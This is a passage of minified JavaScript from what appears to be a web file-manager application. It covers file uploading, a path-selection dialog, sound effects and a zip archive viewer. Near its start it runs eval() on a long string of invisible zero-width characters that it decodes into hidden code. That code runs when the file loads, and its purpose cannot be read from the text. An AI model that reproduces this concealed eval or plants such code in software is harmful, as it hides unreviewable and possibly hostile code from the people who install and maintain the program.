i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,n=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:n>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,n),e.speed.push([timeFloat(),i]));var a=e.speed[e.speed.length-1],o=e.speed[0],s=(a[1]-o[1])/(a[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var n=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==n||"undefined"==n)&&(n=e.name),file_num++;var a=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+n)+'" data-name="'+htmlEncode(e.upload_to+n)+'">'+htmlEncode(core.pathThis(n))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==a.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(a.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var n=urlEncode(e.file.fullPath);(void 0==n||"undefined"==n)&&(n=""),t.fullPath=n,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),n=$("#"+e.id),a=n.find(".progress .progress-bar");a.length||(a=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(n).find(".progress-bar")),n.find(".state").text((100*t).toFixed(1)+"%("+i+")"),a.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var n=e.serverData;if(n&&n.data){var a=LNG[n.data];if(n.code){if(t.addClass("success"),t.find(".state").text(a),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),n.info){var o="/"+ltrim(htmlEncode(n.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(a).attr("title",a)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var n=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,n>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var a=e.serverData.data;i=LNG[a]?LNG[a]:a}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),"abort"==t&&void 0==e.serverData&&(i=LNG.not_support+"(support on chrome)"),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var n=$(i.DOM.wrap),a=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(n.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),n=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(n,i)?!0:!1},r=function(){var t=a.ui.fileLight.fileListSelect(),i=[];if(e.single){var n=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[a.G.this_path],n.hasClass("folderBox")&&(i=[a.ui.fileLight.path(n)]);else if("file"==e.type){if(n.hasClass("fileBox")){var o=a.ui.fileLight.path(n);s(o)&&(i=[o])}}else if("all"==e.type)if(n.hasClass("folderBox")){var o=a.ui.fileLight.path(n);i=[{file:[],folder:[o]}]}else if(n.hasClass("fileBox")){var o=a.ui.fileLight.path(n);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=a.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(a.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=n.find(".path_select_input"),o=n.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=a.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=a.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){a.ui.fileLight.select.hook("select",a.ui.fileLight,{before:function(){},after:function(){r()}})};a.kodReady||(a.kodReady=[]),a.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var n={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},a="./index.php?/explorer&type=iframe";t=$.extend(n,t),t.firstPath&&(a+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(a,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,n=e.find(".path_select_input").attr("result");n=jsonDecode(hashDecode(n)),n?t.single&&"all"!=t.type?i(n[0]):i(n):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var n=G.static_path+"others/sound/"+t,a=e("./myPlayer");a.playSound(n,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,n=$("#"+t.tId+"_switch"),a=$("#"+t.tId+"_ico");n.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),a.before(n).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&a.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";n.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),n.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,n){$(e.target).hasClass("menu_more")||(t.selectNode(n),u(n),"folder"==n.type&&$("#"+n.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,n){$(e.target).hasClass(".menu_more")||"file"==n.type&&o("open",t)}}},n=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var n=e[i];e[i]={name:core.pathThis(n.filename),path:n.filename,isParent:!!n.child,type:n.folder?"folder":"file",menuType:n.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(n.filename),mtime:n.mtime,index:n.index,size:n.size,child:n.child},n.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},n=0;e.length>n;n++)"string"!=typeof e[n].filename&&e[n].stored_filename&&(e[n].filename=e[n].stored_filename),"string"==typeof e[n].filename&&(e[n].filename=e[n].filename.replace(/\\/g,"/"),i[e[n].filename]=e[n]);for(var a in i)if(!i[a].folder)for(var o=core.pathFather(i[a].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var a in i){var r=i[a],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},a=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var n=t.getSelectedNodes()[0];switch(e){case"open":c(t,n);break;case"down":l(t,n);break;case"unzip_this":p(t,n);break;case"unzip_to":d(t,n);break;case"info":h(t,n);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,n=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(n)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,n=i+"&index="+t.index+"&name=/"+urlEncode(t.path),a=t.ext;"zip"==a&&(a="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),a="unknow"),ui.pathOpen.open(n,a)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i) +})},p=function(e,t,i){var n=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(n)));var a="./index.php?explorer/unzip";$.ajax({url:a,data:{path:n,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(n)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),n="folder"==t.type?tpl_path_info:tpl_file_info,a=template.compile(n),o=f(t);o.LNG=LNG,$.dialog({padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:a(o),ok:!0})},m=function(e,t,i){var n=template.compile(tpl_zipview),a=n({LNG:LNG,treeID:e}),o=$.dialog({className:"zipViewDialog",id:"zip_view_"+md5(i),ico:core.icon("zip"),title:t,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),s=15*$(".zipViewContent").length;o.DOM.wrap.css({left:"+="+s+"px",top:"+="+s+"px"})},_=function(e){$("#"+e).find("ul:visible > li > 